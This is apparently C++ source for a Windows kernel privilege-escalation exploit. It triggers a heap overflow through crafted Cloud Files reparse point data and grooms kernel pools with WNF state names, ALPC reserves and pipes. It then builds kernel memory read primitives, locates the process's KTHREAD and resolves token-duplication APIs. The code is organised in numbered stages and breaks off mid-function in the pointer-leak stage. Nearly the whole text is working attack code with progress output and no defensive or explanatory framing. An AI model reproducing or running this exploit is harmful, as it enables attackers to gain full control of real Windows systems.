#define RESOLVE_FUNCTION(module, func_ptr, func_type, func_name) \
    do { \
        func_ptr = (func_type)GetProcAddress(module, func_name); \
        if (!func_ptr) { \
            printf("[-] Failed to resolve: %s\n", func_name); \
            return FALSE; \
        } \
    } while(0)

static ULONG Calculate_CRC32(ULONG seed, const void* buf, size_t len) {
    ULONG crc = ~seed;
    const unsigned char* p = (const unsigned char*)buf;
```

```
    for (size_t i = 0; i < len; ++i) {
        crc ^= p[i];
        for (int j = 0; j < 8; ++j) {
            if (crc & 1) crc = (crc >> 1) ^ 0xEDB88320;
            else crc >>= 1;
        }
    }
    return ~crc;
}

static BOOL IsKernelPointer(ULONG64 value) {
    return ((value & 0xFFFF000000000000ULL) == 0xFFFF000000000000ULL) &&
        (value != 0xFFFFFFFFFFFFFFFFULL) &&
        (value != 0x5151515151515151ULL) &&
        (value != 0x5252525252525252ULL);
}

static BOOL RefreshPipeCorruption(ULONG64 target_addr, ULONG size) {
    if (g_victim_index_second == -1) return FALSE;

    ULONG64* fake1 = (ULONG64*)g_fake_pipe_attr;
    fake1[0] = (ULONG64)g_fake_pipe_attr2;
    fake1[1] = (ULONG64)g_leaked_pipe_attr;
    fake1[2] = (ULONG64)g_fake_attr_name;
    fake1[3] = size;
    fake1[4] = target_addr;
    fake1[5] = 0x4747474747474747ULL;

    ULONG64* fake2 = (ULONG64*)g_fake_pipe_attr2;
    fake2[0] = 0x4848484848484848ULL;
    fake2[1] = (ULONG64)g_fake_pipe_attr;
    fake2[2] = (ULONG64)g_fake_attr_name2;
    fake2[3] = size;
    fake2[4] = target_addr;
    fake2[5] = 0x4949494949494949ULL;

    auto overflow_data = std::make_unique<BYTE[]>(0xFF8);
    memset(overflow_data.get(), 0x50, 0xFF8);
    *(ULONG64*)(overflow_data.get() + 0xFF8 - 8) = (ULONG64)g_fake_pipe_attr;

    NTSTATUS status = g_NtUpdateWnfStateData(
        &g_wnf_names_second[g_victim_index_second],
        overflow_data.get(), 0xFF8, NULL, NULL, CHANGE_STAMP_SECOND, 0
    );

    return (status == 0);
}

static BOOL ReadKernel64(ULONG64 address, ULONG64* out_value) {
    if (g_target_pipe_index == -1 || address == 0) return FALSE;

    RefreshPipeCorruption(address, 0x8);

    BYTE buffer[0x100] = { 0 };
    IO_STATUS_BLOCK iosb = {};
```

```
    NTSTATUS status = g_NtFsControlFile(
        g_pipe_write[g_target_pipe_index],
        NULL, NULL, NULL, &iosb,
        FSCTL_PIPE_GET_PIPE_ATTRIBUTE,
        g_fake_attr_name, (ULONG)strlen(g_fake_attr_name) + 1,
        buffer, sizeof(buffer)
    );

    if (status != 0) {
        printf("ReadKernel64 failed: target=0x%llX, status=0x%08X, pipe_idx=%d\n",
            address, status, g_target_pipe_index);
        return FALSE;
    }

    *out_value = *(ULONG64*)buffer;
    printf("ReadKernel64: addr=0x%llX -> value=0x%llX\n", address, *out_value);
    return TRUE;
}

static BOOL ReadKernelBuffer(ULONG64 address, PVOID buffer, ULONG size) {
    if (g_target_pipe_index == -1 || address == 0 || buffer == NULL || size == 0) {
        return FALSE;
    }

    RefreshPipeCorruption(address, size);

    BYTE out_buffer[0x1000] = { 0 };
    IO_STATUS_BLOCK iosb = {};

    NTSTATUS status = g_NtFsControlFile(
        g_pipe_write[g_target_pipe_index],
        NULL, NULL, NULL, &iosb,
        FSCTL_PIPE_GET_PIPE_ATTRIBUTE,
        g_fake_attr_name, (ULONG)strlen(g_fake_attr_name) + 1,
        out_buffer, sizeof(out_buffer)
    );

    if (status != 0) return FALSE;
    memcpy(buffer, out_buffer, size);
    return TRUE;
}

static BOOL DiscoverKthreadEarly(void) {
    DWORD our_pid = GetCurrentProcessId();
    DWORD our_tid = GetCurrentThreadId();
    printf("[*] Pre-discovering KTHREAD for PID=%lu TID=%lu\n", our_pid, our_tid);

    HANDLE hOurThread = NULL;
    if (!DuplicateHandle(GetCurrentProcess(), GetCurrentThread(),
        GetCurrentProcess(), &hOurThread, 0, FALSE, DUPLICATE_SAME_ACCESS)) {
        printf("[-] DuplicateHandle(CurrentThread) failed: %lu\n", GetLastError());
        return FALSE;
    }

    ULONG buf_size = 0x400000;
    BYTE* handle_buf = NULL;
```

```
    NTSTATUS nt_status;

    for (int attempt = 0; attempt < 8; attempt++) {
        handle_buf = (BYTE*)malloc(buf_size);
        if (!handle_buf) {
            CloseHandle(hOurThread);
            return FALSE;
        }
        nt_status = g_NtQuerySystemInformation(64, handle_buf, buf_size, NULL);
        if (nt_status == (NTSTATUS)0xC0000004) {
            free(handle_buf);
            handle_buf = NULL;
            buf_size *= 2;
            continue;
        }
        break;
    }

    if (nt_status != 0 || !handle_buf) {
        printf("[-] NtQuerySystemInformation(64) failed: 0x%08X\n", (ULONG)nt_status);
        if (handle_buf) free(handle_buf);
        CloseHandle(hOurThread);
        return FALSE;
    }

    SYSTEM_HANDLE_INFORMATION_EX* handle_info =
(SYSTEM_HANDLE_INFORMATION_EX*)handle_buf;

    for (ULONG_PTR i = 0; i < handle_info->NumberOfHandles; i++) {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX* entry = &handle_info->Handles[i];
        if (entry->UniqueProcessId == (ULONG_PTR)our_pid &&
            entry->HandleValue == (ULONG_PTR)hOurThread) {
            g_our_kthread = (ULONG64)entry->Object;
            break;
        }
    }

    free(handle_buf);
    CloseHandle(hOurThread);

    if (g_our_kthread == 0) {
        printf("[-] Failed to find KTHREAD in handle table\n");
        return FALSE;
    }

    printf("[+] KTHREAD: 0x%016llX\n", (unsigned long long)g_our_kthread);
    return TRUE;
}

static BOOL InitializeNtdllFunctions(void) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) {
        printf("[-] Failed to get ntdll.dll handle\n");
        return FALSE;
    }
```

```
    RESOLVE_FUNCTION(hNtdll, g_NtCreateWnfStateName, PNtCreateWnfStateName,
"NtCreateWnfStateName");
    RESOLVE_FUNCTION(hNtdll, g_NtUpdateWnfStateData, PNtUpdateWnfStateData,
"NtUpdateWnfStateData");
    RESOLVE_FUNCTION(hNtdll, g_NtQueryWnfStateData, PNtQueryWnfStateData,
"NtQueryWnfStateData");
    RESOLVE_FUNCTION(hNtdll, g_NtDeleteWnfStateName, PNtDeleteWnfStateName,
"NtDeleteWnfStateName");
    RESOLVE_FUNCTION(hNtdll, g_NtAlpcCreatePort, PNtAlpcCreatePort,
"NtAlpcCreatePort");
    RESOLVE_FUNCTION(hNtdll, g_NtAlpcCreateResourceReserve,
PNtAlpcCreateResourceReserve, "NtAlpcCreateResourceReserve");
    RESOLVE_FUNCTION(hNtdll, g_NtFsControlFile, PNtFsControlFile, "NtFsControlFile");
    RESOLVE_FUNCTION(hNtdll, g_NtAlpcSendWaitReceivePort, PNtAlpcSendWaitReceivePort,
"NtAlpcSendWaitReceivePort");
    RESOLVE_FUNCTION(hNtdll, g_NtOpenProcess, PNtOpenProcess, "NtOpenProcess");
    RESOLVE_FUNCTION(hNtdll, g_NtOpenProcessTokenEx, PNtOpenProcessTokenEx,
"NtOpenProcessTokenEx");
    RESOLVE_FUNCTION(hNtdll, g_NtDuplicateToken, PNtDuplicateToken,
"NtDuplicateToken");
    RESOLVE_FUNCTION(hNtdll, g_NtSetInformationThread, PNtSetInformationThread,
"NtSetInformationThread");
    RESOLVE_FUNCTION(hNtdll, g_NtClose, PNtClose, "NtClose");
    RESOLVE_FUNCTION(hNtdll, g_NtWriteVirtualMemory, PNtWriteVirtualMemory,
"NtWriteVirtualMemory");
    RESOLVE_FUNCTION(hNtdll, g_NtQuerySystemInformation, PNtQuerySystemInformation,
"NtQuerySystemInformation");

    printf("[+] All ntdll functions resolved\n");
    return TRUE;
}

static BOOL InitializeSyncRoot(void) {
    PWSTR appDataPath = NULL;
    HRESULT hr = SHGetKnownFolderPath(FOLDERID_RoamingAppData, 0, NULL, &appDataPath);
    if (FAILED(hr)) {
        printf("[-] Failed to get AppData path\n");
        return FALSE;
    }

    swprintf(g_syncRootPath, MAX_PATH, L"%s\\MySyncRoot", appDataPath);
    CreateDirectoryW(g_syncRootPath, NULL);

    swprintf(g_filePath, MAX_PATH, L"%s\\trigger_first", g_syncRootPath);
    swprintf(g_filePath_second, MAX_PATH, L"%s\\trigger_second", g_syncRootPath);

    CF_SYNC_REGISTRATION registration = {};
    registration.StructSize = sizeof(registration);
    registration.ProviderName = L"ExploitProvider";
    registration.ProviderVersion = L"1.0";
    registration.ProviderId = ProviderId;

    LPCWSTR identity = L"ExploitIdentity";
    registration.SyncRootIdentity = identity;
    registration.SyncRootIdentityLength = (DWORD)(wcslen(identity) * sizeof(WCHAR));
```

```
    CF_SYNC_POLICIES policies = {};
    policies.StructSize = sizeof(policies);
    policies.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
    policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
    policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
    policies.PlaceholderManagement =
CF_PLACEHOLDER_MANAGEMENT_POLICY_UPDATE_UNRESTRICTED;

    hr = CfRegisterSyncRoot(g_syncRootPath, &registration, &policies,
        CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);

    if (FAILED(hr)) {
        printf("[-] Sync root registration failed: 0x%08lX\n", (unsigned long)hr);
        CoTaskMemFree(appDataPath);
        return FALSE;
    }

    printf("[+] Sync root registered: %ls\n", g_syncRootPath);
    CoTaskMemFree(appDataPath);
    return TRUE;
}

typedef enum _HSM_ELEMENT_OFFSETS {
    ELEM_TYPE = 0x00, ELEM_LENGTH = 0x02, ELEM_OFFSET = 0x04,
} HSM_ELEMENT_OFFSETS;

typedef enum _HSM_FERP_OFFSETS {
    FERP_VERSION = 0x00, FERP_STRUCT_SIZE = 0x02, FERP_MAGIC = 0x04,
    FERP_CRC = 0x08, FERP_LENGTH = 0x0C, FERP_FLAGS = 0x10, FERP_MAX_ELEMS = 0x12
} HSM_FERP_OFFSETS;

typedef enum _HSM_BTRP_OFFSETS {
    BTRP_MAGIC = 0x04, BTRP_CRC = 0x08, BTRP_LENGTH = 0x0C,
    BTRP_FLAGS = 0x10, BTRP_MAX_ELEMS = 0x12
} HSM_BTRP_OFFSETS;

static USHORT BtRpBuildBuffer(HSM_ELEMENT_INFO* elements, char** input_data, int count,
char* btrp_data_buffer) {
    memset(btrp_data_buffer, 0, BTRP_BUFFER_SIZE);
    *(ULONG*)(btrp_data_buffer + BTRP_MAGIC) = HSM_BITMAP_MAGIC;
    *(USHORT*)(btrp_data_buffer + BTRP_MAX_ELEMS) = (USHORT)count;

    char* ptr = btrp_data_buffer + HSM_HEADER_SIZE;
    for (int i = 0; i < count; i++) {
        *(USHORT*)(ptr + ELEM_TYPE) = elements[i].Type;
        *(USHORT*)(ptr + ELEM_LENGTH) = elements[i].Length;
        *(ULONG*)(ptr + ELEM_OFFSET) = elements[i].Offset;
        memcpy(btrp_data_buffer + elements[i].Offset + 4, input_data[i],
elements[i].Length);
        ptr += sizeof(HSM_ELEMENT_INFO);
    }

    USHORT max_offset = 0;
    for (int i = 0; i < count; i++) {
        USHORT end = (USHORT)(elements[i].Offset + elements[i].Length);
        if (end > max_offset) max_offset = end;
```

```
    }

    USHORT total = (USHORT)(max_offset + 4);
    *(USHORT*)(btrp_data_buffer + BTRP_LENGTH) = total;
    *(USHORT*)(btrp_data_buffer + BTRP_FLAGS) = HSM_DATA_HAVE_CRC;

    if (total <= 8 + 0x0C) return 0;

    ULONG crc = Calculate_CRC32(0, btrp_data_buffer + BTRP_LENGTH, (ULONG)(total - 8));
    *(ULONG*)(btrp_data_buffer + BTRP_CRC) = crc;

    return total;
}

static USHORT FeRpBuildBuffer(HSM_ELEMENT_INFO* elements, char** input_data, int count,
char* ferp_ptr, USHORT max_elements) {
    memset(ferp_ptr, 0, FERP_BUFFER_SIZE);
    *(USHORT*)(ferp_ptr + FERP_VERSION) = VERSION_VALUE;
    *(ULONG*)(ferp_ptr + FERP_MAGIC) = HSM_FILE_MAGIC;
    *(USHORT*)(ferp_ptr + FERP_FLAGS) = HSM_DATA_HAVE_CRC;
    *(USHORT*)(ferp_ptr + FERP_MAX_ELEMS) = max_elements;

    char* descPtr = ferp_ptr + HSM_HEADER_SIZE;
    for (int i = 0; i < count; i++) {
        *(USHORT*)(descPtr + ELEM_TYPE) = elements[i].Type;
        *(USHORT*)(descPtr + ELEM_LENGTH) = elements[i].Length;
        *(ULONG*)(descPtr + ELEM_OFFSET) = elements[i].Offset;
        memcpy(ferp_ptr + elements[i].Offset, input_data[i], elements[i].Length);
        descPtr += HSM_ELEMENT_INFO_SIZE;
    }

    USHORT position_limit = 0;
    for (int i = 0; i < count; i++) {
        USHORT end = (USHORT)(elements[i].Offset + elements[i].Length);
        if (end > position_limit) position_limit = end;
    }

    USHORT rem = (USHORT)(position_limit % FERP_ALIGN);
    if (rem != 0) position_limit = (USHORT)(position_limit + (FERP_ALIGN - rem));

    *(ULONG*)(ferp_ptr + FERP_LENGTH) = (ULONG)(position_limit - 4);
    if (position_limit <= HSM_ELEMENT_TYPE_MAX) return 0;

    ULONG crc = Calculate_CRC32(0, ferp_ptr + FERP_LENGTH, (ULONG)(position_limit - 8 -
4));
    *(ULONG*)(ferp_ptr + FERP_CRC) = crc;
    *(USHORT*)(ferp_ptr + FERP_STRUCT_SIZE) = position_limit;

    return position_limit;
}

static unsigned long FeRpCompressBuffer(char* input_buffer, unsigned short input_size,
char* output_buffer) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) return 0;
```

```
    auto fnGetWorkSpaceSize = (PRtlGetCompressionWorkSpaceSize)GetProcAddress(hNtdll,
"RtlGetCompressionWorkSpaceSize");
    auto fnCompressBuffer = (PRtlCompressBuffer)GetProcAddress(hNtdll,
"RtlCompressBuffer");
    if (!fnGetWorkSpaceSize || !fnCompressBuffer) return 0;

    ULONG workSpaceSize = 0, fragWorkSpaceSize = 0;
    if (fnGetWorkSpaceSize(2, &workSpaceSize, &fragWorkSpaceSize) != 0) return 0;

    std::unique_ptr<char[]> workspace(new char[workSpaceSize]);
    ULONG compressedSize = 0;

    if (fnCompressBuffer(2, (PUCHAR)(input_buffer + 4), (ULONG)(input_size - 4),
        (PUCHAR)output_buffer, FERP_BUFFER_SIZE, FERP_BUFFER_SIZE,
        &compressedSize, workspace.get()) != 0) return 0;

    return compressedSize;
}

static int BuildAndSetReparsePoint(HANDLE hFile, int payload_size, char* payload_buf) {
    const int COUNT = ELEMENT_NUMBER;
    auto bt_elements = std::make_unique<HSM_ELEMENT_INFO[]>(COUNT);

    bt_elements[0].Type = HSM_ELEMENT_TYPE_BYTE;   bt_elements[0].Length = 0x1;
    bt_elements[1].Type = HSM_ELEMENT_TYPE_BYTE;   bt_elements[1].Length = 0x1;
    bt_elements[2].Type = HSM_ELEMENT_TYPE_BYTE;   bt_elements[2].Length = 0x1;
    bt_elements[3].Type = HSM_ELEMENT_TYPE_UINT64; bt_elements[3].Length = 0x8;
    bt_elements[4].Type = HSM_ELEMENT_TYPE_BITMAP; bt_elements[4].Length =
(USHORT)payload_size;

    bt_elements[0].Offset = ELEMENT_START_OFFSET;
    bt_elements[1].Offset = ELEMENT_START_OFFSET + 0x04;
    bt_elements[2].Offset = ELEMENT_START_OFFSET + 0x08;
    bt_elements[3].Offset = ELEMENT_START_OFFSET + 0x0C;
    bt_elements[4].Offset = ELEMENT_START_OFFSET + 0x18;

    std::unique_ptr<char[]> bt_buf(new char[BTRP_BUFFER_SIZE]);
    BYTE bt_data_00 = 0x01, bt_data_01 = 0x10, bt_data_02 = 0x00;
    UINT64 bt_data_03 = 0x0;
    char* bt_data[COUNT] = { (char*)&bt_data_00, (char*)&bt_data_01,
(char*)&bt_data_02, (char*)&bt_data_03, payload_buf };

    USHORT bt_size = BtRpBuildBuffer(bt_elements.get(), bt_data, COUNT, bt_buf.get());
    if (bt_size == 0) return -1;

    auto fe_elements = std::make_unique<HSM_ELEMENT_INFO[]>(COUNT);
    fe_elements[0].Type = HSM_ELEMENT_TYPE_BYTE;   fe_elements[0].Length = 0x1;
    fe_elements[1].Type = HSM_ELEMENT_TYPE_UINT32; fe_elements[1].Length = 0x4;
    fe_elements[2].Type = HSM_ELEMENT_TYPE_UINT64; fe_elements[2].Length = 0x8;
    fe_elements[3].Type = HSM_ELEMENT_TYPE_BITMAP; fe_elements[3].Length = 0x4;
    fe_elements[4].Type = HSM_ELEMENT_TYPE_BITMAP; fe_elements[4].Length = bt_size;

    fe_elements[0].Offset = ELEMENT_START_OFFSET;
    fe_elements[1].Offset = ELEMENT_START_OFFSET + 0x04;
    fe_elements[2].Offset = ELEMENT_START_OFFSET + 0x08;
    fe_elements[3].Offset = ELEMENT_START_OFFSET + 0x0C;
```

```
    fe_elements[4].Offset = ELEMENT_START_OFFSET + 0x18;

    std::unique_ptr<char[]> fe_buf(new char[FERP_BUFFER_SIZE]);
    BYTE fe_data_00 = 0x74;
    UINT32 fe_data_01 = 0x00000001;
    UINT64 fe_data_02 = 0x0;
    UINT32 fe_data_03 = 0x00000040;
    char* fe_data[COUNT] = { (char*)&fe_data_00, (char*)&fe_data_01,
(char*)&fe_data_02, (char*)&fe_data_03, bt_buf.get() };

    USHORT fe_size = FeRpBuildBuffer(fe_elements.get(), fe_data, COUNT, fe_buf.get(),
MAX_ELEMS);
    if (fe_size == 0) return -1;

    std::unique_ptr<char[]> compressed(new char[COMPRESSED_SIZE]);
    unsigned long compressed_size = FeRpCompressBuffer(fe_buf.get(), fe_size,
compressed.get());
    if (compressed_size == 0 || compressed_size > COMPRESSED_SIZE) return -1;

    USHORT cf_payload_len = (USHORT)(4 + compressed_size);
    std::unique_ptr<char[]> cf_blob(new char[cf_payload_len]);
    *(USHORT*)(cf_blob.get() + 0) = 0x8001;
    *(USHORT*)(cf_blob.get() + 2) = fe_size;
    memcpy(cf_blob.get() + 4, compressed.get(), compressed_size);

    REPARSE_DATA_BUFFER_EX rep_data = {};
    rep_data.Flags = 0x1;
    rep_data.ExistingReparseTag = IO_REPARSE_TAG_CLOUD_6;
    rep_data.ExistingReparseGuid = ProviderId;
    rep_data.ReparseDataBuffer.ReparseTag = IO_REPARSE_TAG_CLOUD_6;
    rep_data.ReparseDataBuffer.ReparseDataLength = cf_payload_len;
    memcpy(rep_data.ReparseDataBuffer.GenericReparseBuffer.DataBuffer, cf_blob.get(),
cf_payload_len);

    DWORD inSize = (DWORD)(offsetof(REPARSE_DATA_BUFFER_EX,
ReparseDataBuffer.GenericReparseBuffer.DataBuffer) + cf_payload_len);
    DWORD bytesReturned = 0;

    return DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT_EX, &rep_data, inSize, NULL,
0, &bytesReturned, NULL) ? 0 : -1;
}

//================================================================================
// STAGE 01: DEFRAGMENTATION
//================================================================================

static BOOL Stage01_Defragmentation(void) {
    printf("\n========================================\n");
    printf("    STAGE 01: DEFRAGMENTATION\n");
    printf("========================================\n");

    for (int round = 0; round < 2; round++) {
        auto pipes = std::make_unique<PIPE_PAIR[]>(DEFRAG_PIPE_COUNT);
        DWORD created = 0;

        for (DWORD i = 0; i < DEFRAG_PIPE_COUNT; i++) {
```

```
            if (CreatePipe(&pipes[i].hRead, &pipes[i].hWrite, NULL, 0x100)) created++;
            else pipes[i].hRead = pipes[i].hWrite = NULL;
        }

        Sleep(SLEEP_SHORT);

        for (DWORD i = 0; i < DEFRAG_PIPE_COUNT; i++) {
            if (pipes[i].hRead) CloseHandle(pipes[i].hRead);
            if (pipes[i].hWrite) CloseHandle(pipes[i].hWrite);
        }

        printf("[+] Round %d: %lu/%lu pipes\n", round + 1, created, DEFRAG_PIPE_COUNT);
    }

    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 01 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 02: CREATE WNF NAMES
//============================================================================

static BOOL Stage02_CreateWnfNames(void) {
    printf("\n=======================================\n");
    printf("    STAGE 02: CREATE WNF NAMES\n");
    printf("=======================================\n");

    g_wnf_pad_names = std::make_unique<WNF_STATE_NAME[]>(WNF_PAD_SPRAY_COUNT);
    g_wnf_names = std::make_unique<WNF_STATE_NAME[]>(WNF_SPRAY_COUNT);
    g_wnf_active = std::make_unique<BOOL[]>(WNF_SPRAY_COUNT);
    memset(g_wnf_active.get(), 0, WNF_SPRAY_COUNT * sizeof(BOOL));

    PSECURITY_DESCRIPTOR pSecurityDescriptor = nullptr;
    ConvertStringSecurityDescriptorToSecurityDescriptorW(L"", SDDL_REVISION_1,
&pSecurityDescriptor, nullptr);

    DWORD padCreated = 0;
    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT; i++) {
        if (g_NtCreateWnfStateName(&g_wnf_pad_names[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor) == 0)
            padCreated++;
    }
    printf("[+] Created %lu padding WNF names\n", padCreated);

    DWORD actualCreated = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT; i++) {
        if (g_NtCreateWnfStateName(&g_wnf_names[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor) == 0)
            actualCreated++;
    }
    printf("[+] Created %lu actual WNF names\n", actualCreated);

    LocalFree(pSecurityDescriptor);
    printf("[+] Waiting for the memory to stabilize...\n");
```

```
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 02 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 03: ALPC PORTS
//============================================================================

static BOOL Stage03_AlpcPorts(void) {
    printf("\n=======================================\n");
    printf("    STAGE 03: ALPC PORTS\n");
    printf("=======================================\n");

    g_alpc_ports = std::make_unique<HANDLE[]>(ALPC_PORT_COUNT);
    memset(g_alpc_ports.get(), 0, ALPC_PORT_COUNT * sizeof(HANDLE));

    DWORD created = 0;
    for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
        ALPC_PORT_ATTRIBUTES portAttr = {};
        portAttr.MaxMessageLength = 0x500;
        OBJECT_ATTRIBUTES objAttr = {};
        objAttr.Length = sizeof(OBJECT_ATTRIBUTES);

        if (g_NtAlpcCreatePort(&g_alpc_ports[i], &objAttr, &portAttr) == 0) created++;
        else g_alpc_ports[i] = NULL;
    }

    printf("[+] Created %lu ALPC ports\n", created);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 03 COMPLETE\n");
    return (created >= ALPC_PORT_COUNT / 2);
}

//============================================================================
// STAGE 04: UPDATE WNF PADDING DATA
//============================================================================

static BOOL Stage04_UpdateWnfPaddingData(void) {
    printf("\n=======================================\n");
    printf("    STAGE 04: UPDATE WNF PADDING DATA\n");
    printf("=======================================\n");

    auto wnf_data = std::make_unique<BYTE[]>(WNF_DATA_SIZE);
    memset(wnf_data.get(), 0x51, WNF_DATA_SIZE);

    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT; i++)
        g_NtUpdateWnfStateData(&g_wnf_pad_names[i], wnf_data.get(), WNF_DATA_SIZE,
NULL, NULL, 0, 0);

    printf("[+] Updated padding WNF data\n");
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 04 COMPLETE\n");
    return TRUE;
```

```
}

//============================================================================
// STAGE 05: UPDATE WNF STATE DATA
//============================================================================

static BOOL Stage05_UpdateWnfStateData(void) {
    printf("\n=======================================\n");
    printf("    STAGE 05: UPDATE WNF STATE DATA\n");
    printf("=======================================\n");

    auto wnf_data = std::make_unique<BYTE[]>(WNF_DATA_SIZE);
    memset(wnf_data.get(), 0x51, WNF_DATA_SIZE);

    DWORD actualUpdated = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT; i++) {
        if (g_NtUpdateWnfStateData(&g_wnf_names[i], wnf_data.get(), WNF_DATA_SIZE,
NULL, NULL, 0, 0) == 0) {
            g_wnf_active[i] = TRUE;
            actualUpdated++;
        }
    }
    printf("[+] Updated %lu actual WNF objects\n", actualUpdated);

    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 05 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 06: CREATE HOLES
//============================================================================

static BOOL Stage06_CreateHoles(void) {
    printf("\n=======================================\n");
    printf("    STAGE 06: CREATE HOLES\n");
    printf("=======================================\n");

    DWORD deleted = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT; i += 2) {
        if (g_wnf_active[i]) {
            if (g_NtDeleteWnfStateName(&g_wnf_names[i]) == 0) {
                g_wnf_active[i] = FALSE;
                deleted++;
            }
        }
    }

    printf("[+] Created %lu holes\n", deleted);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 06 COMPLETE\n");
    return TRUE;
}
```

```
//================================================================================
// STAGE 07: PLACE OVERFLOW BUFFER
//================================================================================

static BOOL Stage07_PlaceOverflow(void) {
    printf("\n========================================\n");
    printf("    STAGE 07: PLACE OVERFLOW BUFFER\n");
    printf("========================================\n");

    SetFileAttributesW(g_filePath, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath);

    HANDLE hFile = CreateFileW(g_filePath, GENERIC_ALL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create file: %lu\n", GetLastError());
        return FALSE;
    }

    std::unique_ptr<char[]> payload(new char[REPARSE_DATA_SIZE]);
    memset(payload.get(), PAYLOAD_FILL_BYTE, 0x1000);
    memset(payload.get() + 0x1000, 0, REPARSE_DATA_SIZE - 0x1000);

    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x00) = 0x00200904;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x04) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x08) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x0C) = CHANGE_STAMP_FIRST;

    int rc = BuildAndSetReparsePoint(hFile, PAYLOAD_SIZE_OVERFLOW, payload.get());
    CloseHandle(hFile);

    if (rc != 0) {
        printf("[-] Failed to set reparse point\n");
        return FALSE;
    }

    printf("[+] Reparse point set (ChangeStamp=0x%04X)\n", CHANGE_STAMP_FIRST);
    printf("[+] Stage 07 COMPLETE\n");
    return TRUE;
}

//================================================================================
// STAGE 08: TRIGGER OVERFLOW
//================================================================================

static BOOL Stage08_TriggerOverflow(void) {
    printf("\n========================================\n");
    printf("    STAGE 08: TRIGGER OVERFLOW\n");
    printf("========================================\n");

    HANDLE hFile = CreateFileW(g_filePath, GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
```

```
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open file: %lu\n", GetLastError());
        return FALSE;
    }

    CloseHandle(hFile);
    printf("[+] Overflow triggered (0x1010 bytes into 0x1000 buffer)\n");
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 08 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 09: ALPC RESERVES
//============================================================================

static BOOL Stage09_AlpcReserves(void) {
    printf("\n=======================================\n");
    printf("    STAGE 09: ALPC RESERVES\n");
    printf("=======================================\n");

    DWORD totalReserves = 0;
    g_saved_reserve_handle = NULL;

    for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
        if (g_alpc_ports[i] == NULL) continue;

        for (DWORD j = 0; j < ALPC_RESERVES_PER_PORT; j++) {
            HANDLE hResource = NULL;
            if (g_NtAlpcCreateResourceReserve(g_alpc_ports[i], 0, 0x28, &hResource) ==
0) {
                totalReserves++;
                if (g_saved_reserve_handle == NULL) {
                    g_saved_reserve_handle = hResource;
                }
            }
        }
    }

    printf("[+] Created %lu total reserves\n", totalReserves);
    printf("[+] Saved reserve handle: 0x%p\n", g_saved_reserve_handle);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_LONG);
    printf("[+] Stage 09 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 10: LEAK KERNEL POINTER
//============================================================================

static BOOL Stage10_LeakKernelPointer(void) {
    printf("\n=======================================\n");
    printf("    STAGE 10: LEAK KERNEL POINTER\n");
    printf("=======================================\n");
```

```
    g_victim_index = -1;

    for (DWORD i = 1; i < WNF_SPRAY_COUNT; i += 2) {
        if (!g_wnf_active[i]) continue;

        ULONG bufferSize = 0;
        WNF_CHANGE_STAMP changeStamp = 0;

        NTSTATUS status = g_NtQueryWnfStateData(&g_wnf_names[i], NULL, NULL,
&changeStamp, NULL, &bufferSize);

        if ((status == STATUS_BUFFER_TOO_SMALL || status == 0) && changeStamp ==
CHANGE_STAMP_FIRST) {
            g_victim_index = i;
            printf("[+] Found victim WNF at index %d (DataSize: 0x%lX)\n", i,
bufferSize);
            break;
        }
    }

    if (g_victim_index == -1) {
        printf("[-] No corrupted WNF found\n");
        return FALSE;
    }

    ULONG querySize = 0;
    WNF_CHANGE_STAMP stamp = 0;
    g_NtQueryWnfStateData(&g_wnf_names[g_victim_index], NULL, NULL, &stamp, NULL,
&querySize);

    auto buffer = std::make_unique<BYTE[]>(querySize + 0x10);
    ULONG readSize = querySize;
    g_NtQueryWnfStateData(&g_wnf_names[g_victim_index], NULL, NULL, &stamp,
buffer.get(), &readSize);


    if (readSize > 0xFF0) {
